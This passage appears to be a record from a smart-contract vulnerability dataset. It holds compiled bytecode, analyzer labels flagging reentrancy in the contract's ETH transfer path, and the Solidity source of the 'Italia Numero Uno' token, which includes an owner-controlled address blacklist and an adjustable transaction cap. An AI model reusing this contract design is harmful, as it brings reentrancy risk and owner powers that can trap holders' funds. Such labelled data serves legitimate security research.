2085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bcd5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161043d565b6001600160a01b038216610c2f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161043d565b60008111610c915760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161043d565b6002600a556008600b556000546001600160a01b03848116911614801590610cc757506000546001600160a01b03838116911614155b15610ea6576001600160a01b03831660009081526006602052604090205460ff16158015610d0e57506001600160a01b03821660009081526006602052604090205460ff16155b610d1757600080fd5b600f546001600160a01b038481169116148015610d425750600e546001600160a01b03838116911614155b8015610d6757506001600160a01b03821660009081526005602052604090205460ff16155b8015610d7c5750600f54600160b81b900460ff165b15610dd957601054811115610d9057600080fd5b6001600160a01b0382166000908152600760205260409020544211610db457600080fd5b610dbf42601e611906565b6001600160a01b0383166000908152600760205260409020555b600f546001600160a01b038381169116148015610e045750600e546001600160a01b03848116911614155b8015610e2957506001600160a01b03831660009081526005602052604090205460ff16155b15610e39576002600a908155600b555b6000610e44306104dc565b600f54909150600160a81b900460ff16158015610e6f5750600f546001600160a01b03858116911614155b8015610e845750600f54600160b01b900460ff165b15610ea457610e9281610ff9565b478015610ea257610ea247610ef0565b505b505b610eb1838383611182565b505050565b60008184841115610eda5760405162461bcd60e51b815260040161043d919061180b565b506000610ee7848661195f565b95945050505050565b600c546001600160a01b03166108fc610f0a83600261118d565b6040518115909202916000818181858888f19350505050158015610f32573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610f4d83600261118d565b6040518115909202916000818181858888f19350505050158015610611573d6000803e3d6000fd5b6000600854821115610fdc5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161043d565b6000610fe66111cf565b9050610ff2838261118d565b9392505050565b600f805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611041576110416119a7565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561109557600080fd5b505afa1580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190611614565b816001815181106110e0576110e06119a7565b6001600160a01b039283166020918202929092010152600e546111069130911684610a45565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061113f908590600090869030904290600401611895565b600060405180830381600087803b15801561115957600080fd5b505af115801561116d573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610eb18383836111f2565b6000610ff283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112e9565b60008060006111dc611317565b90925090506111eb828261118d565b9250505090565b60008060008060008061120487611357565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061123690876113b4565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461126590866113f6565b6001600160a01b03891660009081526002602052604090205561128781611455565b611291848361149f565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516112d691815260200190565b60405180910390a3505050505050505050565b6000818361130a5760405162461bcd60e51b815260040161043d919061180b565b506000610ee7848661191e565b6008546000908190670de0b6b3a7640000611332828261118d565b82101561134e57505060085492670de0b6b3a764000092509050565b90939092509050565b60008060008060008060008060006113748a600a54600b546114c3565b92509250925060006113846111cf565b905060008060006113978e878787611518565b919e509c509a509598509396509194505050505091939550919395565b6000610ff283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610eb6565b6000806114038385611906565b905083811015610ff25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161043d565b600061145f6111cf565b9050600061146d8383611568565b3060009081526002602052604090205490915061148a90826113f6565b30600090815260026020526040902055505050565b6008546114ac90836113b4565b6008556009546114bc90826113f6565b6009555050565b60008080806114dd60646114d78989611568565b9061118d565b905060006114f060646114d78a89611568565b90506000611508826115028b866113b4565b906113b4565b9992985090965090945050505050565b60008080806115278886611568565b905060006115358887611568565b905060006115438888611568565b905060006115558261150286866113b4565b939b939a50919850919650505050505050565b600082611577575060006103a4565b60006115838385611940565b905082611590858361191e565b14610ff25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161043d565b80356115f2816119d3565b919050565b60006020828403121561160957600080fd5b8135610ff2816119d3565b60006020828403121561162657600080fd5b8151610ff2816119d3565b6000806040838503121561164457600080fd5b823561164f816119d3565b9150602083013561165f816119d3565b809150509250929050565b60008060006060848603121561167f57600080fd5b833561168a816119d3565b9250602084013561169a816119d3565b929592945050506040919091013590565b600080604083850312156116be57600080fd5b82356116c9816119d3565b946020939093013593505050565b600060208083850312156116ea57600080fd5b823567ffffffffffffffff8082111561170257600080fd5b818501915085601f83011261171657600080fd5b813581811115611728576117286119bd565b8060051b604051601f19603f8301168101818110858211171561174d5761174d6119bd565b604052828152858101935084860182860187018a101561176c57600080fd5b600095505b8386101561179657611782816115e7565b855260019590950194938601938601611771565b5098975050505050505050565b6000602082840312156117b557600080fd5b8135610ff2816119e8565b6000602082840312156117d257600080fd5b8151610ff2816119e8565b6000806000606084860312156117f257600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156118385785810183015185820160400152820161181c565b8181111561184a576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118e55784516001600160a01b0316835293830193918301916001016118c0565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561191957611919611991565b500190565b60008261193b57634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561195a5761195a611991565b500290565b60008282101561197157611971611991565b500390565b600060001982141561198a5761198a611991565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104d957600080fd5b80151581146104d957600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220313de87897654345291b88bb33c7016e0338fffda4100cfe8b0d8c221b18513a64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 8,435 |
0x066267955ec907db424d243ce28cf9c876dbc843
|
/**
*Submitted for verification at Etherscan.io on 2021-07-11
*/
/*
ITALIA NUMERO UNO!!!!
t.me/ItalyNumber1
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract ITALY is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1* 10**12 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Italia Numero Uno";
string private constant _symbol = 'ITALY#1️';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 2;
uint256 private _teamFee = 9;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
if(from != address(this)){
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = false;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610567578063c3c8cd801461062c578063c9567bf914610643578063d543dbeb1461065a578063dd62ed3e1461069557610114565b8063715018a61461040e5780638da5cb5b1461042557806395d89b4114610466578063a9059cbb146104f657610114565b8063273123b7116100dc578063273123b7146102d6578063313ce567146103275780635932ead1146103555780636fc3eaec1461039257806370a08231146103a957610114565b806306fdde0314610119578063095ea7b3146101a957806318160ddd1461021a57806323b872dd1461024557610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61071a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b50610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610757565b60405180821515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610775565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610786565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085f565b005b34801561033357600080fd5b5061033c610982565b604051808260ff16815260200191505060405180910390f35b34801561036157600080fd5b506103906004803603602081101561037857600080fd5b8101908080351515906020019092919050505061098b565b005b34801561039e57600080fd5b506103a7610a70565b005b3480156103b557600080fd5b506103f8600480360360208110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae2565b6040518082815260200191505060405180910390f35b34801561041a57600080fd5b50610423610bcd565b005b34801561043157600080fd5b5061043a610d53565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047257600080fd5b5061047b610d7c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bb5780820151818401526020810190506104a0565b50505050905090810190601f1680156104e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050257600080fd5b5061054f6004803603604081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db9565b60405180821515815260200191505060405180910390f35b34801561057357600080fd5b5061062a6004803603602081101561058a57600080fd5b81019080803590602001906401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460208302840111640100000000831117156105db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610dd7565b005b34801561063857600080fd5b50610641610f27565b005b34801561064f57600080fd5b50610658610fa1565b005b34801561066657600080fd5b506106936004803603602081101561067d57600080fd5b810190808035906020019092919050505061160f565b005b3480156106a157600080fd5b50610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117be565b6040518082815260200191505060405180910390f35b60606040518060400160405280601181526020017f4974616c6961204e756d65726f20556e6f000000000000000000000000000000815250905090565b600061076b610764611845565b848461184d565b6001905092915050565b6000683635c9adc5dea00000905090565b6000610793848484611a44565b6108548461079f611845565b61084f85604051806060016040528060288152602001613d3160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610805611845565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122a39092919063ffffffff16565b61184d565b600190509392505050565b610867611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610927576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b610993611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a53576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80601360176101000a81548160ff02191690831515021790555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ab1611845565b73ffffffffffffffffffffffffffffffffffffffff1614610ad157600080fd5b6000479050610adf81612363565b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610b7d57600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050610bc8565b610bc5600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461245e565b90505b919050565b610bd5611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c95576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f4954414c592331efb88f00000000000000000000000000000000000000000000815250905090565b6000610dcd610dc6611845565b8484611a44565b6001905092915050565b610ddf611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60005b8151811015610f2357600160076000848481518110610ebd57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050610ea2565b5050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f68611845565b73ffffffffffffffffffffffffffffffffffffffff1614610f8857600080fd5b6000610f9330610ae2565b9050610f9e816124e2565b50565b610fa9611845565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611069576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b601360149054906101000a900460ff16156110ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f74726164696e6720697320616c7265616479206f70656e00000000000000000081525060200191505060405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061117c30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061184d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156111c257600080fd5b505afa158